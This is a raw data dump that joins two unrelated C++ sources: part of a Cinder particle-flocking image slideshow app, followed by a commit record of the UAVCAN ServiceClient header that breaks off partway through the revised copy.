\/\/ properties\n  Surface                     m_surface;\n  gl::Texture                 m_texture;\n  Area                        m_outputArea;\n  ParticleEmitter             m_particleEmitter;\n  gl::Fbo                     m_frameBufferObject;\n  std::vector< ci::fs::path > m_files;\n  double                      m_cycleImageEvery;\n  int                         m_particleCount;\n  int                         m_particleGroups;\n  \n  SimpleGUI*                  m_gui;\n  ButtonControl*              m_openImageButton;\n  ButtonControl*              m_nextImageButton;\n  LabelControl*               m_currentImageLabel;\n\tPanelControl*               m_mainPanel;\n\tPanelControl*               m_helpPanel;\n\nprivate:\n  double                      m_lastTime;\n  double                      m_currentTime;\n  double                      m_cycleCounter;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::setup()\n{\n  \/\/ config vars\n  m_cycleImageEvery = 0.0;\n  m_particleCount   = 0;\n  m_particleGroups  = 0;\n\n  \/\/ buffer for trails\n  m_frameBufferObject = gl::Fbo( 800, 600, true );\n  m_frameBufferObject.bindFramebuffer();\n  gl::enableAlphaBlending();\n  gl::clear( Color( 0.0f, 0.0f, 0.0f ) ); \n  m_frameBufferObject.unbindFramebuffer();\n\n  \/\/ emitter\n  m_particleEmitter.m_maxLifeTime        = 0.0;\n  m_particleEmitter.m_minLifeTime        = 10.0;\n  m_particleEmitter.m_fadeInTime         = 0.5f;\n  m_particleEmitter.m_fadeOutTime        = 3.0f;\n  m_particleEmitter.m_referenceSurface   = &m_surface;\n  m_particleEmitter.m_screenTexture      = &m_frameBufferObject.getTexture();\n  m_particleEmitter.m_particlesPerSecond = 0;\n\n  \/\/ GUI\n  m_gui             = new SimpleGUI( this );\n\tm_gui->lightColor = ColorA( 1, 1, 0, 1 );\t\n  m_gui->textFont   = Font( \"Consolas\", 12 );\n  m_gui->addColumn();\n  m_mainPanel = m_gui->addPanel();\n\n  \/\/ general settings\n  m_gui->addLabel( \"General Settings\" );\n\tm_gui->addParam( \"Pic. Cycle Time\", &m_cycleImageEvery,                       3.0f, 120.0f, 15.0f );\n  m_gui->addParam( \"Particle Size\",   &m_particleEmitter.m_particleSizeRatio,   0.5f,   3.0f,  1.0f );\n  m_gui->addParam( \"Particle Speed\",  &m_particleEmitter.m_particleSpeedRatio,  0.2f,   3.0f,  1.0f );\n  m_gui->addParam( \"Dampness\",        &m_particleEmitter.m_dampness,           0.01f,  0.99f,  0.9f );\n  m_gui->addParam( \"Color Guidance\",  &m_particleEmitter.m_colorRedirection,    0.0f,  20.0f,  5.0f );\n\n#ifdef _DEBUG\n  m_gui->addParam( \"#Particles\", &m_particleCount,   50,   500,    150   );\n  m_gui->addParam( \"#Groups\",    &m_particleGroups,  1,    10,     2   );\n#else\n  m_gui->addParam( \"#Particles\", &m_particleCount,   50,   500,    300   );\n  m_gui->addParam( \"#Groups\",    &m_particleGroups,  1,    10,     5   );\n#endif\n  \n\tm_gui->addSeparator();\n  m_gui->addLabel( \"Flocking Settings\" );\n    \n  m_gui->addParam( \"Repel Str.\",      &m_particleEmitter.m_repelStrength,       0.000f,     0.5f,   0.04f );\n  m_gui->addParam( \"Align Str.\",      &m_particleEmitter.m_alignStrength,       0.000f,     0.5f,   0.04f );\n  m_gui->addParam( \"Att. Str.\",       &m_particleEmitter.m_attractStrength,     0.000f,     0.5f,   0.02f );\n  m_gui->addParam( \"Grp. Repel Str.\", &m_particleEmitter.m_groupRepelStrength,  0.000f,     0.5f,   0.01f );\n  m_gui->addParam( \"Area Size\",       &m_particleEmitter.m_zoneRadiusSqrd,      625.0f, 10000.0f, 5625.0f ),\n  m_gui->addParam( \"Repel Area\",      &m_particleEmitter.m_lowThresh,             0.0f,     1.0f,  0.125f );\n  m_gui->addParam( \"Align Area\",      &m_particleEmitter.m_highThresh,            0.0f,     1.0f,   0.65f );\n\n  m_gui->addSeparator();\n  \n  m_openImageButton = m_gui->addButton( \"Open Image\" );\n  m_openImageButton->registerClick( this, &CinderApp::openImageCallBack );\n  \n  m_nextImageButton = m_gui->addButton( \"Next Image\" );\n  m_nextImageButton->registerClick( this, &CinderApp::nextImageCallBack );\n\n  \/\/ some info\n  m_gui->addSeparator();\n  m_gui->addLabel( \"Current Image:\" );\n  m_currentImageLabel = m_gui->addLabel( \"\" );\n\n  \/\/ deserved credits\n  m_gui->addSeparator();\n  m_gui->addLabel( \"y3i12: Yuri Ivatchkovitch\" );\n  m_gui->addLabel( \"http:\/\/y3i12.tumblr.com\/\"  );\n  \n  \/\/ Help!\n  m_gui->addColumn();\n  m_helpPanel = m_gui->addPanel();\n  \n  m_gui->addLabel( \"Quick Help:\"            );\n  m_gui->addLabel( \"F1  to show\/hide help\"  );\n\tm_gui->addLabel( \"'h' to show\/hide GUI\"   );\n  m_gui->addLabel( \"'s' to save config\"     );\n  m_gui->addLabel( \"'l' to load config\"     );\n  m_gui->addLabel( \"'o' to open image\"      );\n  m_gui->addLabel( \"SPACE to skip image\"    );\n  m_gui->addLabel( \"ESC to quit\"            );\n  \n  m_gui->addSeparator();\n  m_gui->addSeparator();\n\n  m_gui->addLabel( \"Drag multiple files\"    );\n  m_gui->addLabel( \"to slideshow!\"          );\n  \n  \/\/ load images passed via args\n  if ( getArgs().size() > 1 )\n  {\n    const std::vector< std::string >& args = getArgs();\n\n    for ( size_t i = 1; i < args.size(); ++i )\n    {\n      m_files.push_back( fs::canonical( fs::path( args[ i ] ) ) );\n    }\n\n    setImage( m_files.front(), m_currentTime );\n    if ( m_files.size() > 1 )\n    {\n      m_cycleCounter = 0;\n    }\n  }\n  else\n  {\n    m_cycleCounter  = -1.0;\n  }\n\n  \/\/ mark the time to test counters  \n  m_lastTime = ci::app::getElapsedSeconds();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::mouseDown( ci::app::MouseEvent _event )\n{\n  m_gui->onMouseDown( _event );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::mouseUp(  ci::app::MouseEvent _event )\n{\n    m_gui->onMouseUp( _event );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::mouseDrag( ci::app::MouseEvent _event )\n{\n  m_gui->onMouseDrag( _event );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::fileDrop (ci::app::FileDropEvent e)\n{\n  m_files = e.getFiles();\n  \n  setImage( m_files.front(), m_currentTime );\n  \n  if ( m_files.size() > 1 )\n  {\n    m_cycleCounter = 0;\n  }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::keyDown( ci::app::KeyEvent _event )\n{\n  switch( _event.getChar() ) \n  {\t\t\t\t\n\t\tcase 'd': \n      {\n        m_gui->dump();\n      }\n      break; \/\/prints values of all the controls to the console\t\t\t\n\n\t\tcase 'l': \n      {\n        std::vector< std::string > theExtensions;\n        theExtensions.push_back( SGUI_CONFIG_FILE_EXT );\n    \n        fs::path aPath = getOpenFilePath( \"\", theExtensions );  \n        if ( !aPath.empty() && fs::is_regular_file( aPath ) )\n        {\n          m_gui->load( aPath.string() );\n        } \n      }\n      break;\n\n\t\tcase 's': \n      {\n        std::vector< std::string > theExtensions;\n        theExtensions.push_back( SGUI_CONFIG_FILE_EXT );\n    \n        fs::path aPath = getSaveFilePath( \"\", theExtensions );  \n        if ( !aPath.empty() )\n        {\n          if ( aPath.extension() != SGUI_CONFIG_FILE_EXT )\n          {\n            aPath.replace_extension( SGUI_CONFIG_FILE_EXT );\n          }\n\n          m_gui->save( aPath.string() );\n        } \n      }\n      break;\n\n    case 'h': \n      {\n        m_mainPanel->enabled = !m_mainPanel->enabled;\n      }\n      break;\n\n    case 'o':\n      {\n        openImageCallBack( ci::app::MouseEvent() );\n      }\n      break;\n\t}\n\n\tswitch(_event.getCode()) \n  {\n    case KeyEvent::KEY_ESCAPE: \n      {\n        quit(); \n      }\n      break;\n\n    case KeyEvent::KEY_F1:     \n      {\n        m_helpPanel->enabled = !m_helpPanel->enabled; \n      }\n      break;\n\n    case KeyEvent::KEY_SPACE:  \n      {\n        nextImageCallBack( ci::app::MouseEvent() );\n      }\n      break;\n\t}\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool CinderApp::openImageCallBack( ci::app::MouseEvent _event )\n{\n  std::vector< std::string > theExtensions;\n  theExtensions.push_back( \"jpg\" );\n    \n  m_files.clear();\n\n  fs::path aPath = getOpenFilePath( \"\", theExtensions );  \n  if ( !aPath.empty() && fs::is_regular_file( aPath ) )\n  {\n    setImage( aPath, m_currentTime );\n  }\n\n  m_cycleCounter  = -1.0;\n  \n  return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool CinderApp::nextImageCallBack( ci::app::MouseEvent _event )\n{\n  m_cycleCounter = m_cycleImageEvery;\n  return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::updateOutputArea( Vec2i& _imageSize )\n{\n    m_outputArea.x1 = m_outputArea.x2 = static_cast< int >( getWindowCenter().x );\n    m_outputArea.y1 = m_outputArea.y2 = static_cast< int >( getWindowCenter().y );\n    \n    m_outputArea.x1 -= _imageSize.x \/ 2;\n    m_outputArea.x2 += _imageSize.x \/ 2;\n    m_outputArea.y1 -= _imageSize.y \/ 2;\n    m_outputArea.y2 += _imageSize.y \/ 2;\n\n    m_particleEmitter.m_position = Vec2f( static_cast< float >( m_outputArea.x1 ), static_cast< float >( m_outputArea.y1 ) );\n}\n\nvoid CinderApp::setImage( fs::path& _path, double _currentTime )\n{\n  \/\/ load the image, resize and set the texture\n  ci::Surface imageLoaded = loadImage( _path );\n  Vec2i       aSize       = imageLoaded.getSize();\n  float       theFactor   = min( static_cast< float >( getWindowSize().x ) \/ aSize.x, static_cast< float >( getWindowSize().y ) \/ aSize.y );\n\n  m_surface = ci::Surface( static_cast< int >( aSize.x * theFactor ), static_cast< int >( aSize.y * theFactor ), false );\n  ci::ip::resize( imageLoaded, imageLoaded.getBounds(), &m_surface, m_surface.getBounds() );\n  m_texture = m_surface;\n  \n  \/\/ update  the image name\n  m_currentImageLabel->setText( _path.filename().string() );\n\n  \/\/ update the output area\n  updateOutputArea( m_surface.getSize() );\n\n  \/\/ kill old particles and add new ones\n  m_particleEmitter.killAll( _currentTime );\n\n  for ( int i = 0; i < m_particleGroups; ++i )\n  {\n    m_particleEmitter.addParticles( m_particleCount, i );\n  }\n\n  \/\/ resets the cycle counter;\n  m_cycleCounter = 0.0;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::update()\n{\n  m_currentTime = ci::app::getElapsedSeconds();\n  double delta  = m_currentTime - m_lastTime;\n\n  if ( m_cycleCounter != -1.0 )\n  {\n    m_cycleCounter += delta;\n\n    if ( m_cycleCounter >= m_cycleImageEvery && m_files.size() > 1 )\n    {\n      m_cycleCounter -= m_cycleImageEvery;\n\n      ci::fs::path aPath = m_files.front();\n      m_files.erase( m_files.begin() );\n      m_files.push_back( aPath );\n\n      setImage( aPath, m_currentTime );\n    }\n  }\n\n  m_particleEmitter.update( m_currentTime, delta );\n\n  m_lastTime = m_currentTime;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::draw()\n{\n\t\/\/ clear out the window with black and set gl confs\n\tgl::clear( Color( 0.0f, 0.0f, 0.0f ) );\n  gl::disableDepthRead();    \n  gl::pushMatrices();\n  gl::translate( Vec3f( 0.0f, 0.0f, 0.0f ) );\n\n  \/\/ writes backed up frame buffer to the screen\n  m_frameBufferObject.blitToScreen( getWindowBounds(), getWindowBounds() );\n  \n  \/\/ darkens the BG\n  gl::enableAlphaBlending();\n  gl::color( 0.0f, 0.0f, 0.0f, 0.01f ); \n  gl::drawSolidRect( getWindowBounds() );\n\n  \/\/ do the drawing =D\n  m_particleEmitter.draw();\n    \n  \/\/ save what happened to the framebuffer\n  m_frameBufferObject.blitFromScreen( getWindowBounds(), getWindowBounds() );\n   \n  \/\/ reset gl confs\n  gl::enableDepthRead();    \n  gl::disableAlphaBlending();\n  gl::popMatrices();\t\n\n  \/\/ draw the UI\n  m_gui->draw();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid CinderApp::prepareSettings( Settings *settings )\n{\n  settings->setWindowSize( 800, 600 );\n  settings->setFrameRate( 60.0f );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nCINDER_APP_NATIVE( CinderApp, RendererGl )\n  \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2014 Pavel Kirienko <pavel.kirienko@gmail.com>\n *\/\n\n#ifndef UAVCAN_NODE_SERVICE_CLIENT_HPP_INCLUDED\n#define UAVCAN_NODE_SERVICE_CLIENT_HPP_INCLUDED\n\n#include <uavcan\/build_config.hpp>\n#include <uavcan\/node\/generic_publisher.hpp>\n#include <uavcan\/node\/generic_subscriber.hpp>\n\n#if !defined(UAVCAN_CPP_VERSION) || !defined(UAVCAN_CPP11)\n# error UAVCAN_CPP_VERSION\n#endif\n\n#if UAVCAN_CPP_VERSION >= UAVCAN_CPP11\n# include <functional>\n#endif\n\nnamespace uavcan\n{\n\ntemplate <typename ServiceDataType>\nclass UAVCAN_EXPORT ServiceResponseTransferListenerInstantiationHelper\n{\npublic: \/\/ so much templating it hurts\n    typedef typename TransferListenerInstantiationHelper<typename ServiceDataType::Response,\n                                                         1, 1, ServiceResponseTransferListener>::Type Type;\n};\n\n\/**\n * Object of this type will be returned to the application as a result of service call.\n * Note that application ALWAYS gets this result, even when it times out or fails because of some other reason.\n *\/\ntemplate <typename DataType>\nstruct UAVCAN_EXPORT ServiceCallResult\n{\n    typedef ReceivedDataStructure<typename DataType::Response> ResponseFieldType;\n\n    enum Status { Success, ErrorTimeout };\n\n    const Status status;              \/\/\/< Whether successful or not. Failure to decode the response causes timeout.\n    NodeID server_node_id;            \/\/\/< Node ID of the server this call was addressed to.\n    ResponseFieldType& response;      \/\/\/< Returned data structure. Undefined if the service call has failed.\n\n    ServiceCallResult(Status arg_status, NodeID arg_server_node_id, ResponseFieldType& arg_response)\n        : status(arg_status)\n        , server_node_id(arg_server_node_id)\n        , response(arg_response)\n    {\n        UAVCAN_ASSERT(server_node_id.isUnicast());\n        UAVCAN_ASSERT((status == Success) || (status == ErrorTimeout));\n    }\n\n    \/**\n     * Shortcut to quickly check whether the call was successful.\n     *\/\n    bool isSuccessful() const { return status == Success; }\n};\n\n\/**\n * This operator neatly prints the service call result prepended with extra data like Server Node ID.\n * The extra data will be represented as YAML comment.\n *\/\ntemplate <typename Stream, typename DataType>\nstatic Stream& operator<<(Stream& s, const ServiceCallResult<DataType>& scr)\n{\n    s << \"# Service call result [\" << DataType::getDataTypeFullName() << \"] \"\n      << (scr.isSuccessful() ? \"OK\" : \"FAILURE\")\n      << \" server_node_id=\" << int(scr.server_node_id.get()) << \"\\n\";\n    if (scr.isSuccessful())\n    {\n        s << scr.response;\n    }\n    else\n    {\n        s << \"# (no data)\";\n    }\n    return s;\n}\n\n\/**\n * Do not use directly.\n *\/\nclass ServiceClientBase : protected DeadlineHandler\n{\n    const DataTypeDescriptor* data_type_descriptor_;  \/\/\/< This will be initialized at the time of first call\n\nprotected:\n    MonotonicDuration request_timeout_;\n    bool pending_;\n\n    explicit ServiceClientBase(INode& node)\n        : DeadlineHandler(node.getScheduler())\n        , data_type_descriptor_(NULL)\n        , request_timeout_(getDefaultRequestTimeout())\n        , pending_(false)\n    { }\n\n    virtual ~ServiceClientBase() { }\n\n    int prepareToCall(INode& node, const char* dtname, NodeID server_node_id, TransferID& out_transfer_id);\n\npublic:\n    \/**\n     * Returns true if the service call is currently in progress.\n     *\/\n    bool isPending() const { return pending_; }\n\n    \/**\n     * It's not recommended to override default timeouts.\n     *\/\n    static MonotonicDuration getDefaultRequestTimeout() { return MonotonicDuration::fromMSec(1000); }\n    static MonotonicDuration getMinRequestTimeout() { return MonotonicDuration::fromMSec(10); }\n    static MonotonicDuration getMaxRequestTimeout() { return MonotonicDuration::fromMSec(60000); }\n\n    \/**\n     * Returns the service response waiting deadline, if pending.\n     *\/\n    using DeadlineHandler::getDeadline;\n};\n\n\/**\n * Use this class to invoke services on remote nodes.\n *\n * @tparam DataType_        Service data type.\n *\n * @tparam Callback_        Service response will be delivered through the callback of this type.\n *                          In C++11 mode this type defaults to std::function<>.\n *                          In C++03 mode this type defaults to a plain function pointer; use binder to\n *                          call member functions as callbacks.\n *\/\ntemplate <typename DataType_,\n#if UAVCAN_CPP_VERSION >= UAVCAN_CPP11\n          typename Callback_ = std::function<void (const ServiceCallResult<DataType_>&)>\n#else\n          typename Callback_ = void (*)(const ServiceCallResult<DataType_>&)\n#endif\n          >\nclass UAVCAN_EXPORT ServiceClient\n    : public GenericSubscriber<DataType_, typename DataType_::Response,\n                               typename ServiceResponseTransferListenerInstantiationHelper<DataType_>::Type >\n    , public ServiceClientBase\n{\npublic:\n    typedef DataType_ DataType;\n    typedef typename DataType::Request RequestType;\n    typedef typename DataType::Response ResponseType;\n    typedef ServiceCallResult<DataType> ServiceCallResultType;\n    typedef Callback_ Callback;\n\nprivate:\n    typedef ServiceClient<DataType, Callback> SelfType;\n    typedef GenericPublisher<DataType, RequestType> PublisherType;\n    typedef typename ServiceResponseTransferListenerInstantiationHelper<DataType>::Type TransferListenerType;\n    typedef GenericSubscriber<DataType, ResponseType, TransferListenerType> SubscriberType;\n\n    PublisherType publisher_;\n    Callback callback_;\n\n    bool isCallbackValid() const { return try_implicit_cast<bool>(callback_, true); }\n\n    void invokeCallback(ServiceCallResultType& result);\n\n    virtual void handleReceivedDataStruct(ReceivedDataStructure<ResponseType>& response);\n\n    virtual void handleDeadline(MonotonicTime);\n\npublic:\n    \/**\n     * @param node      Node instance this client will be registered with.\n     * @param callback  Callback instance. Optional, can be assigned later.\n     *\/\n    explicit ServiceClient(INode& node, const Callback& callback = Callback())\n        : SubscriberType(node)\n        , ServiceClientBase(node)\n        , publisher_(node, getDefaultRequestTimeout())\n        , callback_(callback)\n    {\n        setRequestTimeout(getDefaultRequestTimeout());\n#if UAVCAN_DEBUG\n        UAVCAN_ASSERT(getRequestTimeout() == getDefaultRequestTimeout());  \/\/ Making sure default values are OK\n#endif\n    }\n\n    virtual ~ServiceClient() { cancel(); }\n\n    \/**\n     * Shall be called before first use.\n     * Returns negative error code.\n     *\/\n    int init()\n    {\n        return publisher_.init();\n    }\n\n    \/**\n     * Performs non-blocking service call.\n     * This method transmits the service request and returns immediately.\n     *\n     * Service response will be delivered into the application via the callback.\n     * Note that the callback will ALWAYS be called even if the service call has timed out; the\n     * actual result of the call (success\/failure) will be passed to the callback as well.\n     *\n     * If this client instance is already pending service response, it will be cancelled and the new\n     * call will be performed.\n     *\n     * Returns negative error code.\n     *\/\n    int call(NodeID server_node_id, const RequestType& request);\n\n    \/**\n     * Cancel the pending service call.\n     * Does nothing if it is not pending.\n     *\/\n    void cancel();\n\n    \/**\n     * Service response callback must be set prior service call.\n     *\/\n    const Callback& getCallback() const { return callback_; }\n    void setCallback(const Callback& cb) { callback_ = cb; }\n\n    \/**\n     * Returns the number of failed attempts to decode received response. Generally, a failed attempt means either:\n     * - Transient failure in the transport layer.\n     * - Incompatible data types.\n     *\/\n    uint32_t getResponseFailureCount() const { return SubscriberType::getFailureCount(); }\n\n    \/**\n     * Request timeouts.\n     * There is no such config as TX timeout - TX timeouts are configured automagically according to request timeouts.\n     * Not recommended to change.\n     *\/\n    MonotonicDuration getRequestTimeout() const { return request_timeout_; }\n    void setRequestTimeout(MonotonicDuration timeout)\n    {\n        timeout = max(timeout, getMinRequestTimeout());\n        timeout = min(timeout, getMaxRequestTimeout());\n\n        publisher_.setTxTimeout(timeout);\n        request_timeout_ = max(timeout, publisher_.getTxTimeout());  \/\/ No less than TX timeout\n    }\n};\n\n\/\/ ----------------------------------------------------------------------------\n\ntemplate <typename DataType_, typename Callback_>\nvoid ServiceClient<DataType_, Callback_>::invokeCallback(ServiceCallResultType& result)\n{\n    if (isCallbackValid())\n    {\n        callback_(result);\n    }\n    else\n    {\n        handleFatalError(\"Srv client clbk\");\n    }\n}\n\ntemplate <typename DataType_, typename Callback_>\nvoid ServiceClient<DataType_, Callback_>::handleReceivedDataStruct(ReceivedDataStructure<ResponseType>& response)\n{\n    UAVCAN_ASSERT(response.getTransferType() == TransferTypeServiceResponse);\n    const TransferListenerType* const listener = SubscriberType::getTransferListener();\n    if (listener)\n    {\n        const typename TransferListenerType::ExpectedResponseParams erp = listener->getExpectedResponseParams();\n        ServiceCallResultType result(ServiceCallResultType::Success, erp.src_node_id, response);\n        cancel();\n        invokeCallback(result);\n    }\n    else\n    {\n        UAVCAN_ASSERT(0);\n        cancel();\n    }\n}\n\ntemplate <typename DataType_, typename Callback_>\nvoid ServiceClient<DataType_, Callback_>::handleDeadline(MonotonicTime)\n{\n    const TransferListenerType* const listener = SubscriberType::getTransferListener();\n    if (listener)\n    {\n        const typename TransferListenerType::ExpectedResponseParams erp = listener->getExpectedResponseParams();\n        ReceivedDataStructure<ResponseType>& ref = SubscriberType::getReceivedStructStorage();\n        ServiceCallResultType result(ServiceCallResultType::ErrorTimeout, erp.src_node_id, ref);\n\n        UAVCAN_TRACE(\"ServiceClient\", \"Timeout from nid=%i, dtname=%s\",\n                     erp.src_node_id.get(), DataType::getDataTypeFullName());\n        cancel();\n        invokeCallback(result);\n    }\n    else\n    {\n        UAVCAN_ASSERT(0);\n        cancel();\n    }\n}\n\ntemplate <typename DataType_, typename Callback_>\nint ServiceClient<DataType_, Callback_>::call(NodeID server_node_id, const RequestType& request)\n{\n    cancel();\n    if (!isCallbackValid())\n    {\n        UAVCAN_TRACE(\"ServiceClient\", \"Invalid callback\");\n        return -ErrInvalidParam;\n    }\n\n    \/*\n     * Common procedures that don't depend on the struct data type\n     *\/\n    TransferID transfer_id;\n    const int prep_res =\n        prepareToCall(SubscriberType::getNode(), DataType::getDataTypeFullName(), server_node_id, transfer_id);\n    if (prep_res < 0)\n    {\n        UAVCAN_TRACE(\"ServiceClient\", \"Failed to prepare the call, error: %i\", prep_res);\n        cancel();\n        return prep_res;\n    }\n\n    \/*\n     * Starting the subscriber\n     *\/\n    const int subscriber_res = SubscriberType::startAsServiceResponseListener();\n    if (subscriber_res < 0)\n    {\n        UAVCAN_TRACE(\"ServiceClient\", \"Failed to start the subscriber, error: %i\", subscriber_res);\n        cancel();\n        return subscriber_res;\n    }\n\n    \/*\n     * Configuring the listener so it will accept only the matching response\n     *\/\n    TransferListenerType* const tl = SubscriberType::getTransferListener();\n    if (!tl)\n    {\n        UAVCAN_ASSERT(0);  \/\/ Must have been created\n        cancel();\n        return -ErrLogic;\n    }\n    const typename TransferListenerType::ExpectedResponseParams erp(server_node_id, transfer_id);\n    tl->setExpectedResponseParams(erp);\n\n    \/*\n     * Publishing the request\n     *\/\n    const int publisher_res = publisher_.publish(request, TransferTypeServiceRequest, server_node_id, transfer_id);\n    if (!publisher_res)\n    {\n        cancel();\n    }\n    return publisher_res;\n}\n\ntemplate <typename DataType_, typename Callback_>\nvoid ServiceClient<DataType_, Callback_>::cancel()\n{\n    pending_ = false;\n    SubscriberType::stop();\n    DeadlineHandler::stop();\n    TransferListenerType* const tl = SubscriberType::getTransferListener();\n    if (tl)\n    {\n        tl->stopAcceptingAnything();\n    }\n}\n\n}\n\n#endif \/\/ UAVCAN_NODE_SERVICE_CLIENT_HPP_INCLUDED\n<commit_msg>Fixed error handling in ServiceClient<commit_after>\/*\n * Copyright (C) 2014 Pavel Kirienko <pavel.kirienko@gmail.com>\n *\/\n\n#ifndef UAVCAN_NODE_SERVICE_CLIENT_HPP_INCLUDED\n#define UAVCAN_NODE_SERVICE_CLIENT_HPP_INCLUDED\n\n#include <uavcan\/build_config.hpp>\n#include <uavcan\/node\/generic_publisher.hpp>\n#include <uavcan\/node\/generic_subscriber.hpp>\n\n#if !defined(UAVCAN_CPP_VERSION) || !defined(UAVCAN_CPP11)\n# error UAVCAN_CPP_VERSION\n#endif\n\n#if UAVCAN_CPP_VERSION >= UAVCAN_CPP11\n# include <functional>\n#endif\n\nnamespace uavcan\n{\n\ntemplate <typename ServiceDataType>\nclass UAVCAN_EXPORT ServiceResponseTransferListenerInstantiationHelper\n{\npublic: \/\/ so much templating it hurts\n    typedef typename TransferListenerInstantiationHelper<typename ServiceDataType::Response,\n                                                         1, 1, ServiceResponseTransferListener>::Type Type;\n};\n\n\/**\n * Object of this type will be returned to the application as a result of service call.\n * Note that application ALWAYS gets this result, even when it times out or fails because of some other reason.\n *\/\ntemplate <typename DataType>\nstruct UAVCAN_EXPORT ServiceCallResult\n{\n    typedef ReceivedDataStructure<typename DataType::Response> ResponseFieldType;\n\n    enum Status { Success, ErrorTimeout };\n\n    const Status status;              \/\/\/< Whether successful or not. Failure to decode the response causes timeout.\n    NodeID server_node_id;            \/\/\/< Node ID of the server this call was addressed to.\n    ResponseFieldType& response;      \/\/\/< Returned data structure. Undefined if the service call has failed.\n\n    ServiceCallResult(Status arg_status, NodeID arg_server_node_id, ResponseFieldType& arg_response)\n        : status(arg_status)\n        , server_node_id(arg_server_node_id)\n        , response(arg_response)\n    {\n        UAVCAN_ASSERT(server_node_id.isUnicast());\n        UAVCAN_ASSERT((status == Success) || (status == 